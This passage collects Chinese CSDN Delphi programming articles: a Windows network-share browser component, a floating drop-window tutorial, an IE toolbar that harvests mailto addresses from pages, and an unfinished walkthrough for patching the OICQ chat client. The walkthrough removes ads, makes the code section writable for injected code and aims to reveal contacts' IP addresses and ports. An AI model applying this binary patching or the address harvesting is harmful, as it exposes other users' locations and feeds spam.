constructor TNetworkItems.Create;
begin
inherited;
FList := TList.Create;
end;
destructor TNetworkItems.Destroy;
begin
Clear;
if FList <> nil then
FList.Free;
inherited;
end;
procedure TNetworkItems.SetItem(Index: Integer; Value: TNetworkItem);
begin
if (FList.Items[Index] <> nil) and (FList.Items[Index] <> Value) then
TNetworkItem(FList.Items[Index]).Free;
FList.Items[Index] := Value;
end;
function TNetworkItems.GetItem(Index: Integer): TNetworkItem;
begin
Result := TNetworkItem(FList.Items[Index]);
end;
procedure TNetworkItems.Clear;
begin
while Count > 0 do
Delete(0);
end;
procedure TNetworkItems.Add(Item: TNetworkItem);
begin
FList.Add(Item);
end;
procedure TNetworkItems.Delete(Index: Integer);
begin
if FList.Items[Index] <> nil then
TNetworkItem(FList.Items[Index]).Free;
FList.Delete(Index);
end;
function TNetworkItems.GetCount: Integer;
begin
if FList <> nil then
Result := FList.Count
else
Result := 0;
end;
{ TNetworkBrowser }
constructor TNetworkBrowser.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FItems := TNetworkItems.Create;
FScope := nsGlobal;
FResourceType := nrAny;
FUsage := [];
end;
destructor TNetworkBrowser.Destroy;
begin
if FItems <> nil then
FItems.Free;
inherited;
end;
procedure TNetworkBrowser.EnumerateNet(NetItems: TNetworkItems; lpnr:
PNetResource);
var
dwResult, dwResultEnum: Integer;
hEnum: THandle;
cbBuffer, cEntries, i: Integer;
nrArray: PNetResourceArray;
NewItem: TNetworkItem;
dwScope, dwType, dwUsage: Integer;
begin
cbBuffer := 16384;
cEntries := $FFFFFFFF;
case FScope of
nsConnected: dwScope := RESOURCE_CONNECTED;
nsGlobal: dwScope := RESOURCE_GLOBALNET;
nsRemembered: dwScope := RESOURCE_REMEMBERED;
nsContext: dwScope := RESOURCE_CONTEXT;
else
dwScope := RESOURCE_GLOBALNET;
end;
case FResourceType of
nrAny: dwType := RESOURCETYPE_ANY;
nrDisk: dwType := RESOURCETYPE_DISK;
nrPrint: dwType := RESOURCETYPE_PRINT;
else
dwType := RESOURCETYPE_ANY;
end;
dwUsage := 0;
if nuConnectable in FUsage then
dwUsage := dwUsage or RESOURCEUSAGE_CONNECTABLE;
if nuContainer in FUsage then
dwUsage := dwUsage or RESOURCEUSAGE_CONTAINER;
dwResult := WNetOpenEnum(dwScope, dwType, dwUsage, lpnr, hEnum);
if dwResult <> NO_ERROR then Exit;
GetMem(nrArray, cbBuffer);
repeat
dwResultEnum := WNetEnumResource(hEnum, cEntries, nrArray, cbBuffer);
if dwResultEnum = NO_ERROR then
for i := 0 to cEntries-1 do
begin
NewItem := TNetworkItem.Create;
case nrArray[i].dwScope of
RESOURCE_CONNECTED: NewItem.FScope := nsConnected;
RESOURCE_GLOBALNET: NewItem.FScope := nsGlobal;
RESOURCE_REMEMBERED: NewItem.FScope := nsRemembered;
RESOURCE_CONTEXT: NewItem.FScope := nsContext;
else
NewItem.FScope := nsGlobal;
end;
case nrArray[i].dwType of
RESOURCETYPE_ANY: NewItem.FResourceType := nrAny;
RESOURCETYPE_DISK: NewItem.FResourceType := nrDisk;
RESOURCETYPE_PRINT: NewItem.FResourceType := nrPrint;
else
NewItem.FResourceType := nrAny;
end;
case nrArray[i].dwDisplayType of
RESOURCEDISPLAYTYPE_GENERIC: NewItem.FDisplay := ndGeneric;
RESOURCEDISPLAYTYPE_DOMAIN: NewItem.FDisplay := ndDomain;
RESOURCEDISPLAYTYPE_SERVER: NewItem.FDisplay := ndServer;
RESOURCEDISPLAYTYPE_SHARE: NewItem.FDisplay := ndShare;
RESOURCEDISPLAYTYPE_FILE: NewItem.FDisplay := ndFile;
RESOURCEDISPLAYTYPE_GROUP: NewItem.FDisplay := ndGroup;
RESOURCEDISPLAYTYPE_NETWORK: NewItem.FDisplay := ndNetwork;
RESOURCEDISPLAYTYPE_ROOT: NewItem.FDisplay := ndRoot;
RESOURCEDISPLAYTYPE_SHAREADMIN: NewItem.FDisplay :=
ndShareAdmin;
RESOURCEDISPLAYTYPE_DIRECTORY: NewItem.FDisplay :=
ndDirectory;
RESOURCEDISPLAYTYPE_TREE: NewItem.FDisplay := ndTree;
RESOURCEDISPLAYTYPE_NDSCONTAINER: NewItem.FDisplay :=
ndNDSContainer;
else
NewItem.FDisplay := ndGeneric;
end;
NewItem.FUsage := [];
if nrArray[i].dwUsage and RESOURCEUSAGE_CONNECTABLE <> 0 then
Include(NewItem.FUsage, nuConnectable);
if nrArray[i].dwUsage and RESOURCEUSAGE_CONTAINER <> 0 then
Include(NewItem.FUsage, nuContainer);
NewItem.FLocalName := StrPas(nrArray[i].lpLocalName);
NewItem.FRemoteName := StrPas(nrArray[i].lpRemoteName);
NewItem.FComment := StrPas(nrArray[i].lpComment);
NewItem.FProvider := StrPas(nrArray[i].lpProvider);
NetItems.Add(NewItem);
// if container, call recursively
if (nuContainer in NewItem.FUsage) and (FScope <> nsContext) then
EnumerateNet(NewItem.FSubItems, @nrArray[i])
end;
until dwResultEnum = ERROR_NO_MORE_ITEMS;
FreeMem(nrArray);
WNetCloseEnum(hEnum);
end;
procedure TNetworkBrowser.Refresh;
begin
FItems.Clear;
if FActive then
EnumerateNet(FItems, nil);
end;
procedure TNetworkBrowser.SetActive(Value: Boolean);
begin
if Value <> FActive then
begin
FActive := Value;
Refresh;
end;
end;
procedure TNetworkBrowser.SetScope(Value: TNetScope);
begin
if Value <> FScope then
begin
FScope := Value;
Refresh;
end;
end;
procedure TNetworkBrowser.SetResourceType(Value: TNetResourceType);
begin
if Value <> FResourceType then
begin
FResourceType := Value;
Refresh;
end;
end;
procedure TNetworkBrowser.SetUsage(Value: TNetUsage);
begin
if Value <> FUsage then
begin
FUsage := Value;
Refresh;
end;
end;
procedure TNetworkBrowser.Open;
begin
Active := True;
end;
procedure TNetworkBrowser.Close;
begin
Active := False;
end;
end.


CSDN_文档中心_"网络蚂蚁"和"FlashGet"的悬浮窗口的实现

最近有网友问道如何用 Delphi 实现"网络蚂蚁"和"FlashGet"的悬浮窗口,笔者对使用
到的相关技巧做了整理如下:

1.悬浮窗口
Delphi 的 TForm.FormStyle 具有 fsStayOnTop 属性,但只是对其程序本身而言的,
也就是说只在此应用程序本身的窗口中是前端显示的,其他的程序的窗口仍然可以覆盖
此类型的窗口。这是应为此窗口的父窗口是 TApplication 。要让悬浮窗口独立的显示
在屏幕前端,应在创建窗口时将其父窗口设置为"桌面"。
Form2 := TForm2.CreateParented(GetDesktopWindow);

2.允许 Client 区域拖动窗口
这只要捕获窗口的 WM_NCHITTEST 消息,将客户区HitTest(HTCLIENT)变成标题栏
的HitTest(HTCAPTION)就可以了。

3.半透明
Windows2000/XP 给窗口增加了WS_EX_LAYERED 属性,并通过 API
SetLayeredWindowAttributes(); 来设置此属性的详细信息。Delphi 6 的 Forms 单元
已经支持此窗口属性。
property AlphaBlend default False; // 是否使用半透明效果
property AlphaBlendValue default 255; // 透明度 0..255
property TransparentColor default False; // 是否使用穿透色
property TransparentColorValue default 0; // 穿透色
(*此功能仅 Windows2000/XP 支持,不要在 Win9x 尝试此特效)

4.接收来自 Shell 的鼠标拖拽
这将使用到 ActiveX 单元的 IDropTarget 接口,并扩展你的 Form 类。
TForm2 = class(TForm, IDropTarget)
....
end;
并在窗口拥有句柄后,用 RegisterDragDrop() 注册成为 DragDrop 接受目标。

以下是实现的代码:

unit DropBin;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, ExtCtrls, ActiveX, ComObj;

type
TfrmDropBin = class(TForm, IDropTarget)
private
procedure WMNCHitTest(var Msg:TWMNCHitTest); message WM_NCHITTEST;
protected
procedure CreateParams(var Params: TCreateParams); override;
procedure CreateWnd; override;
procedure DestroyWnd; override;
procedure DoClose(var Action: TCloseAction); override;
// DragDrop 支持
function DragEnter(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
function IDropTarget_DragOver(grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
function IDropTarget.DragOver = IDropTarget_DragOver; // 解决 IDropTarget.DragOver 与 TForm.DragOver 冲突问题
function DragLeave: HResult; stdcall;
function Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
public
constructor Create(AOwner: TComponent); override;
end;

var
frmDropBin: TfrmDropBin;

procedure ShowDropBin(Sender: TMenuItem);

implementation

{$R *.dfm}

type
// 虽然 Delphi 的 Windows 单元定义了 SetLayeredWindowAttributes(); ( external 'User32.dll' )
// 但为了兼容 Win9x, 不能直接调用。
TSetLayeredWindowAttributes = function (Hwnd: THandle; crKey: COLORREF; bAlpha: Byte; dwFlags: DWORD): Boolean; stdcall;

var
User32ModH: HMODULE;
SetLayeredWindowAttributes: TSetLayeredWindowAttributes = nil;

procedure ShowDropBin(Sender: TMenuItem);
begin
if Assigned(frmDropBin) then frmDropBin.Close
else begin
frmDropBin := TfrmDropBin.CreateParented(GetDesktopWindow);
end;
end;

constructor TfrmDropBin.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
Width := 32;
Height := 32;
end;

procedure TfrmDropBin.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do begin
Style := WS_POPUP or WS_CLIPSIBLINGS {or WS_BORDER};
ExStyle := WS_EX_TOOLWINDOW or WS_EX_TOPMOST;
end;
end;

procedure TfrmDropBin.CreateWnd;
begin
inherited CreateWnd;
Visible := True;
// 为 2000/XP 创建半透明、穿透效果
if Assigned(SetLayeredWindowAttributes) then begin
SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
SetLayeredWindowAttributes(Handle, clWhite, 128, LWA_ALPHA or LWA_COLORKEY);
end;
// 设置为接受拖拽
OleCheck(RegisterDragDrop(Handle, Self));
end;

procedure TfrmDropBin.DestroyWnd;
begin
if HandleAllocated then RevokeDragDrop(Handle);
inherited DestroyWnd;
end;

function TfrmDropBin.DragEnter(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
begin
//
// 也可以在此判断是否接受拖拽,修改 dwEffect 可以得到不同的效果 ...
//
dwEffect := DROPEFFECT_COPY;
Result := S_OK;
end;

function TfrmDropBin.IDropTarget_DragOver(grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
begin
dwEffect := DROPEFFECT_COPY;
Result := S_OK;
end;

function TfrmDropBin.DragLeave: HResult; stdcall;
begin
Result := S_OK;
end;

function TfrmDropBin.Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall;
begin
//
// 处理 dataObj 中包含的拖拽内容 ...
//
dwEffect := DROPEFFECT_NONE;
Result := S_OK;
end;

procedure TfrmDropBin.DoClose(var Action: TCloseAction);
begin
Action := caFree;
frmDropBin := nil;
end;

procedure TfrmDropBin.WMNCHitTest(var Msg:TWMNCHitTest);
begin
// 通过 Client 区拖动窗口
DefaultHandler(Msg);
if Msg.Result = HTCLIENT then
Msg.Result:= HTCAPTION;
end;

initialization
OleInitialize(nil);
// 为兼容 Win9x
User32ModH := GetModuleHandle('User32.dll');
if User32ModH <> 0 then @SetLayeredWindowAttributes := GetProcAddress(User32ModH, 'SetLayeredWindowAttributes');

finalization
OleUninitialize;

end.

作者主页: http://oopsware.delphibbs.com/

----- End of File -----


CSDN_文档中心_往IE中嵌入工具条

我们首先要建立一个ActiveX Library。将其保存为MailIEBand.Dpr；然后建立一个COM Object，将其保存为BandUnit.pas；然后建立一个Form，这个窗口将作为子窗口显示在IE工具栏中，将窗口的BorderStyle属性改为bsNone，添加一个TButton组件和一个TComboBox组件，将TButton的Caption属性改为获取全部，然后将窗口文件其保存为IEForm.pas。
在BandUnit中，需要建立一个实现上面提到的接口的TComObject对象。如下：
TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit)

另外由于需要在COM服务器注册时添加一些注册表信息，所以还需要建立一个继承自TComObjectFactory类的对象，在对象的UpdateRegistry事件中编写代码添加附加的注册表信息。
下面的程序清单1-6到1-8是实现COM服务器的全部程序代码：

程序清单1-6 MailIEBand.dpr
library MailIEBand;

uses
ComServ,
BandUnit in 'BandUnit.pas',
IEForm in 'IEForm.pas' {Form1},
MailIEBand_TLB in 'MailIEBand_TLB.pas';

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin
end.

程序清单1-7 BandUnit.pas

unit BandUnit;

interface

uses
Windows, Sysutils, Messages, Registry, Shellapi, ActiveX, Classes, ComObj,
Shlobj, Dialogs, Commctrl,ShDocVW,IEForm;

type
TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit)
private
frmIE:TForm1;
m_pSite:IInputObjectSite;
m_hwndParent:HWND;
m_hWnd:HWND;
m_dwViewMode:Integer;
m_dwBandID:Integer;
protected

public
{Declare IDeskBand methods here}
function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):
HResult; stdcall;
function ShowDW(fShow: BOOL): HResult; stdcall;
function CloseDW(dwReserved: DWORD): HResult; stdcall;
function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;
fReserved: BOOL): HResult; stdcall;
function GetWindow(out wnd: HWnd): HResult; stdcall;
function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

{Declare IObjectWithSite methods here}
function SetSite(const pUnkSite: IUnknown ):HResult; stdcall;
function GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;

{Declare IPersistStream methods here}
function GetClassID(out classID: TCLSID): HResult; stdcall;
function IsDirty: HResult; stdcall;
function InitNew: HResult; stdcall;
function Load(const stm: IStream): HResult; stdcall;
function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;
function GetSizeMax(out cbSize: Largeint): HResult; stdcall;
end;

const
Class_GetMailBand: TGUID = '{954F618B-0DEC-4D1A-9317-E0FC96F87865}';
//以下是系统接口的IID
IID_IUnknown: TGUID = (
D1:$00000000;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));
IID_IOleObject: TGUID = (
D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));
IID_IOleWindow: TGUID = (
D1:$00000114;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));

IID_IInputObjectSite : TGUID = (
D1:$f1db8392;D2:$7331;D3:$11d0;D4:($8C,$99,$00,$A0,$C9,$2D,$BF,$E8));
sSID_SInternetExplorer : TGUID = '{0002DF05-0000-0000-C000-000000000046}';
sIID_IWebBrowserApp : TGUID= '{0002DF05-0000-0000-C000-000000000046}';

//面板所允许的最小宽度和高度。
MIN_SIZE_X = 54;
MIN_SIZE_Y = 22;
EB_CLASS_NAME = 'GetMailAddress';
implementation

uses ComServ;

function TGetMailBand.GetWindow(out wnd: HWnd): HResult; stdcall;
begin
wnd:=m_hWnd;
Result:=S_OK;
end;

function TGetMailBand.ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

function TGetMailBand.ShowDW(fShow: BOOL): HResult; stdcall;
begin
if m_hWnd<>0 then
if fShow then
ShowWindow(m_hWnd,SW_SHOW)
else
ShowWindow(m_hWnd,SW_HIDE);
Result:=S_OK;
end;

function TGetMailBand.CloseDW(dwReserved: DWORD): HResult; stdcall;
begin
if frmIE<>nil then
frmIE.Destroy;
Result:= S_OK;
end;

function TGetMailBand.ResizeBorderDW(var prcBorder: TRect;
punkToolbarSite: IUnknown;fReserved: BOOL): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

function TGetMailBand.SetSite(const pUnkSite: IUnknown):HResult;stdcall;
var
pOleWindow:IOleWindow;
pOLEcmd:IOleCommandTarget;
pSP:IServiceProvider;
rc:TRect;
begin
if Assigned(pUnkSite) then begin
m_hwndParent := 0;

m_pSite:=pUnkSite as IInputObjectSite;
pOleWindow := PunkSIte as IOleWindow;
//获得父窗口IE面板窗口的句柄
pOleWindow.GetWindow(m_hwndParent);

if(m_hwndParent=0)then begin
Result := E_FAIL;
exit;
end;

//获得父窗口区域
GetClientRect(m_hwndParent, rc);

if not Assigned(frmIE) then begin
//建立TIEForm窗口，父窗口为m_hwndParent
frmIE:=TForm1.CreateParented(m_hwndParent);

m_Hwnd:=frmIE.Handle;

SetWindowLong(frmIE.Handle, GWL_STYLE, GetWindowLong(frmIE.Handle,
GWL_STYLE) Or WS_CHILD);
//根据父窗口区域设置窗口位置
with frmIE do begin
Left :=rc.Left ;
Top:=rc.top;
Width:=rc.Right - rc.Left;
Height:=rc.Bottom - rc.Top;
end;
frmIE.Visible := True;

//获得与浏览器相关联的Webbrowser对象。
pOLEcmd:=pUnkSite as IOleCommandTarget;
pSP:=pOLEcmd as IServiceProvider;

if Assigned(pSP)then begin
pSP.QueryService(IWebbrowserApp, IWebbrowser2,frmIE.IEThis);
end;
end;
end;

Result := S_OK;
end;

function TGetMailBand.GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;
begin
if Assigned(m_pSite) then result:=m_pSite.QueryInterface(riid, site)
else
Result:= E_FAIL;
end;

function TGetMailBand.GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):
HResult; stdcall;
begin
Result:=E_INVALIDARG;
if not Assigned(frmIE) then frmIE:=TForm1.CreateParented(m_hwndParent);
if(@pdbi<>nil)then begin
m_dwBandID := dwBandID;
m_dwViewMode := dwViewMode;

if(pdbi.dwMask and DBIM_MINSIZE)<>0 then begin
pdbi.ptMinSize.x := MIN_SIZE_X;
pdbi.ptMinSize.y := MIN_SIZE_Y;
end;

if(pdbi.dwMask and DBIM_MAXSIZE)<>0 then begin
pdbi.ptMaxSize.x := -1;
pdbi.ptMaxSize.y := -1;
end;

if(pdbi.dwMask and DBIM_INTEGRAL)<>0 then begin
pdbi.ptIntegral.x := 1;
pdbi.ptIntegral.y := 1;
end;

if(pdbi.dwMask and DBIM_ACTUAL)<>0 then begin
pdbi.ptActual.x := 0;
pdbi.ptActual.y := 0;
end;

if(pdbi.dwMask and DBIM_MODEFLAGS)<>0 then
pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

if(pdbi.dwMask and DBIM_BKCOLOR)<>0 then
pdbi.dwMask := pdbi.dwMask and (not DBIM_BKCOLOR);
end;
end;

function TGetMailBand.GetClassID(out classID: TCLSID): HResult; stdcall;
begin
classID:= Class_GetMailBand;
Result:=S_OK;
end;

function TGetMailBand.IsDirty: HResult; stdcall;
begin
Result:=S_FALSE;
end;

function TGetMailBand.InitNew: HResult;
begin
Result := E_NOTIMPL;
end;

function TGetMailBand.Load(const stm: IStream): HResult; stdcall;
begin
Result:=S_OK;
end;

function TGetMailBand.Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;
begin
Result:=S_OK;
end;

function TGetMailBand.GetSizeMax(out cbSize: Largeint): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

//TIEClassFac类实现COM组件的注册
type
TIEClassFac=class(TComObjectFactory) //
public
procedure UpdateRegistry(Register: Boolean); override;
end;

procedure TIEClassFac.UpdateRegistry(Register: Boolean);
var
ClassID: string;
a:Integer;
begin
inherited UpdateRegistry(Register);
if Register then begin
ClassID:=GUIDToString(Class_GetMailBand);
with TRegistry.Create do
try
//添加附加的注册表项
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False);
a:=0;
WriteBinaryData(GUIDToString(Class_GetMailBand),a,0);
OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',True);
WriteString (GUIDToString(Class_GetMailBand),EB_CLASS_NAME);
RootKey:=HKEY_CLASSES_ROOT;
OpenKey('\CLSID\'+GUIDToString(Class_GetMailBand),False);
WriteString('',EB_CLASS_NAME);
finally
Free;
end;
end
else begin
with TRegistry.Create do
try
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False);
DeleteValue(GUIDToString(Class_GetMailBand));
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',False);
DeleteValue(GUIDToString(Class_GetMailBand));
finally
Free;
end;
end;
end;

initialization
TIEClassFac.Create(ComServer, TGetMailBand, Class_GetMailBand,
'GetMailAddress', '', ciMultiInstance, tmApartment);
end.

程序清单1-8 IEForm.pas

unit IEForm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
SHDocVw,MSHTML, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
ComboBox1: TComboBox;
procedure FormResize(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
IEThis:IWebbrowser2;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);
begin
With Button1 do begin
Left := 0;
Top := 0;
Height:=Self.ClientHeight;
end;
With ComboBox1 do begin
Left := Button1.Width +3;
Top := 0;
Height:=Self.ClientHeight;
Width:=Self.ClientWidth - Left;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
doc:IHTMLDocument2;
all:IHTMLElementCollection;
len,i,flag:integer;
item:IHTMLElement;
vAttri:Variant;
begin
if Assigned(IEThis)then begin
ComboBox1.Clear;
//获得Webbrowser对象中的文档对象
doc:=IEThis.Document as IHTMLDocument2;
//获得文档中所有的HTML元素集合
all:=doc.Get_all;

len:=all.Get_length;

//访问HTML元素集合中的每一个元素
for i:=0 to len-1 do begin
item:=all.item(i,varempty) as IHTMLElement;
//如果该元素是一个链接
if item.Get_tagName = 'A'then begin
flag:=0;
vAttri:=item.getAttribute('protocol',flag); //获得链接属性
//如果是mailto链接则将链接的目标地址添加到ComboBox1
if vAttri = 'mailto:'then begin
vAttri:=item.getAttribute('href',flag);
ComboBox1.Items.Add(vAttri);
end;
end;
end;
end;
end;

end.

编译工程，关闭所有的IE窗口，然后点击Delphi菜单的Run | Register ActiveX Server 项注册服务器。然后打开IE，点击菜单 察看 | 工具栏 项，可以看到子菜单中多了一个GetMailAddress项，选中改项，工具栏就出现在IE工具栏中

www.applevb.com


CSDN_文档中心_为OICQ添加显示IP和端口功能

为OICQ添加显示IP和端口功能(转贴自绿色兵团)
(1641 个字于此篇帖子)
(已阅读: 485 次) 友善列印版

为OICQ添加显示IP和端口功能
转摘
作者：不祥

特别申明：本文所述的内容只用于研究交流之用，如用作非法用途或修改不当，一 切后果自负！

我们的目标是去掉广告显示，并且在广告的位置上显示目标对象的IP地址和端口 号。我们应该怎么下手呢，好的，慢慢跟我来！

经过对Oicq目录结构的分析，发现目录AD和广告有关。其一是广告的英文简写就 是AD，其二是其中的图片文件就是我们在广告中看到的。试着删除该目录之后，呵 呵，广告消逝了。但是下次进入Oicq之后，程序会自动新建这个目录，并且重新下 载广告文件。既然程序读取不到广告文件广告就会消失，那么就人工让它读不到咯 。用Soft-ice把断点设置在CreateFileA上，这个API调用一般是用来打开一个文件 或者设备的。在Sice截到断点后，查看是即将打开的那些文件，从而判断是否是我 们要修改的地方。具体修改方法详见"打开广告文件的程序段"

广告是去掉了，但是在广告区域上点击鼠标，浏览器仍然会打开广告链接，看来 我们还需要对程序作更完善的修改。好了，既然点击广告会出现浏览器，那一定是 运行了一个程序。一般打开运行浏览器程序的有两种方法，一是调用COM接口，二 是调用普通的运行程序的API函数。第一种方法技术难度较高，一般程序很少采用 。所以直接用Sice把断点设置在几个和运行程序有关的API函数上，比如 ShellExecuteA，WinExec等等。好了，程序在ShellExecuteA处中断，也就是只要 避过这个API函数就行咯。呵呵，顺着程序往上找合适的修改位置，会发现 USER32.PtInRect函数的调用，经过分析，发现它是用作判断鼠标点击是否在特定 区域内的。搞定，只要使它判断总是在区域外，就不会执行到ShellExecuteA那儿 去了。发送消息窗口和恢复窗口的广告点击的程序在不同的位置，也就说在两个地 方，这两个地方都要修改，原理也都是一样。具体修改方法详见"发送消息窗口点 击广告的程序段"和"回复消息窗口点击广告的程序段"。（我们为了实现在点击鼠 标后出现IP地址和端口号，在发送消息窗口添加了一个有关显示的程序入口，我将 在后面讲解）

这下广告真的是去除了，既不能看到，也不能点进去了。呵呵，开始我们的下一步 目标，显示IP地址和端口号！！！

过去要想知道Oicq上朋友的IP地址只有借助民间的一些小工具程序或者采用包监听 程序，后者专业要求比较高，而且辨别率低，也不方便。一些小程序的确很管用， 但是毕竟没有把这个功能直接做到Oicq程序上方便和可靠，利用Oicq内部的很多数 据和结构能获得很多我们平常不容易获得的信息。但是毕竟只有二进制汇编代码， 没有源程序，程序的分析难度和工作量可想而知。经过令人难以想象多次数的死机 和重起，以及极其艰辛的设置断点跟踪调试分析工作……（以下省略5201314字） ，终于粗略的获得了我们感兴趣的数据结构指针以及它相关调用的位置。这段时间 是我最郁闷的时候，想起那段毫无人性的工作，就像已经过上幸福生活的老同志回 忆起49年以前悲惨生活般的胆战心惊且心有余悸……（以下省略520字）。还好我 挺过来了，终于在0042513D处找到了需要的指针地址。只要利用这个指针就能获得 目标对象的IP地址以及端口号。我们需要做的就是把这些信息显示在以前的广告位 置。

又是一项艰巨的任务放在我的面前，还好我有坚定的信念、丰富的临床经验以及对 成功喜悦的企盼，还有对聊天MM住址的渴望，我一定会珍惜，不能像周星星一样期 望再来一次……（再次省略若干，以免挨鸡蛋）。 言归正传，既然获得了关键的数据指针，那可以说我们已经成功了90％了，接下来 的就是显示出来而已。但这也需要反复的试验和修改。让我们好好来回味一下这一 过程：

首先，要实现新的功能毫无疑问需要添加代码和数据，以及执行一定的API函数， 所以需要找到适当的方法添加代码到原程序之中。完美的方法就是作一个外壳添加 程序，在原程序中添加所需要的段（数据段，程序段），以及添加Import表表项， 以用于新的API函数的地址定位，还要修改PE文件头中的各项相关信息，这就是病 毒的做法。这无疑非常的复杂和繁琐，有兴趣的同学可以参见我以前的文章"关于 95下可执行文件的加密研究"。其实我们的要添加的程序量并不大，充其量也就零 零星星的几百个字节，而且用到的API函数也不多。所以我们采取了手动修改添加 的方法，但也需要必要的条件和方法。看我以下的分析和方法：

PE可执行文件的逻辑结构是段，比如代码段".text"、数据段".data"、资源段". rscs"等等。这些段大小都是按文件对齐，也就是说段大小至少会按10h对齐，一般 是1000h（4096字节），这由文件头中指定（链接的时候确定）。但是代码也好数 据也好，不可能做到长度刚好是对齐的。也就是说，段的大小是大于段中代码或数 据实际大小的。他们之间的差值就是该段冗余的空间，这个空间被称为"空隙"。有 一些简单的PE文件减肥软件就是去掉"空隙"的方法来减肥的。这个"空隙"可以被我 们用来放置代码、数据以及堆栈。我常用的分析PE文件文件头的工具软件是 Borland 以前在C++系列软件中带的"Tdump.exe"。让我们看看实际分析的结果：

Object table:

# Name VirtSize RVA PhysSize Phys off Flags

-- -------- -------- -------- -------- -------- --------

01 .text 000D0637 00001000 000D1000 00001000 60000020 [CER]

02 .rdata 000320E8 000D2000 00033000 000D2000 40000040 [IR]

03 .data 00039848 00105000 00012000 00105000 C0000040 [IRW]

04 .rsrc 0003E4C0 0013F000 0003F000 00117000 40000040 [IR]

以上是用看到的Oicq.exe的段信息（它的Oject就是我们所说的段）。我们肯定是 首选.text段进行观察（.text是代码段，Flag为CER，意思就是包含代码、可执行 、可读的意思（Contains code, Execute,Readable））。可以看到，.text段代码 实际长度D0637h，物理长度D1000，文件偏移位置为1000h处。OK，这个段有 D1000h－D0637h=C9Ch的"空隙"。这个长度完全可以满足我们的需要了，而且代码 数据堆栈都可以放在这个区域内。众所周知，要作为数据段使用，段的属性（ Flags）需要可写。好了，只需要改写".text"的属性即可，可写属性的值是 80000000h，然后加上原来的60000020h后，就是C0000020h了，也就是变成了CERW 属性（具体修改方法详见"代码段段属性修改"）。看看我们更改后的用Tdump分析 的结果。

Object table: # Name VirtSize RVA PhysSize Phys off Flags

-- -------- -------- -------- -------- -------- --------

01 .text 000D0637 00001000 000D1000 00001000 C0000020 [CRW]

02 .rdata 000320E8 000D2000 00033000 000D2000 40000040 [IR]

03 .data 00039848 00105000 00012000 00105000 C0000040 [IRW]

04 .rsrc 0003E4C0 0013F000 0003F000 00117000 40000040 [IR]

好了，找到了放置代码数据和堆栈的地方，也就是其实偏移1000h+D0637h 的地方 。为了对齐边界，我们采用D1640h这个值（文件偏移）。用Tdump 查看代码段基址 （Code Base）和PE文件映象基址(Image Base)，分别是1000h和400000h，可以算 出我们的程序在装入后的实际地址，400000h+1000h+D0640h=4D1640h。也就是说我 们的代码在被系统装入后在内存4D1640处，这在以后程序跳转处用到。

添加代码的工作已经做好，现在关键的问题就是编制具体的代码，以用于IP地址和 端口号的保存和显示。

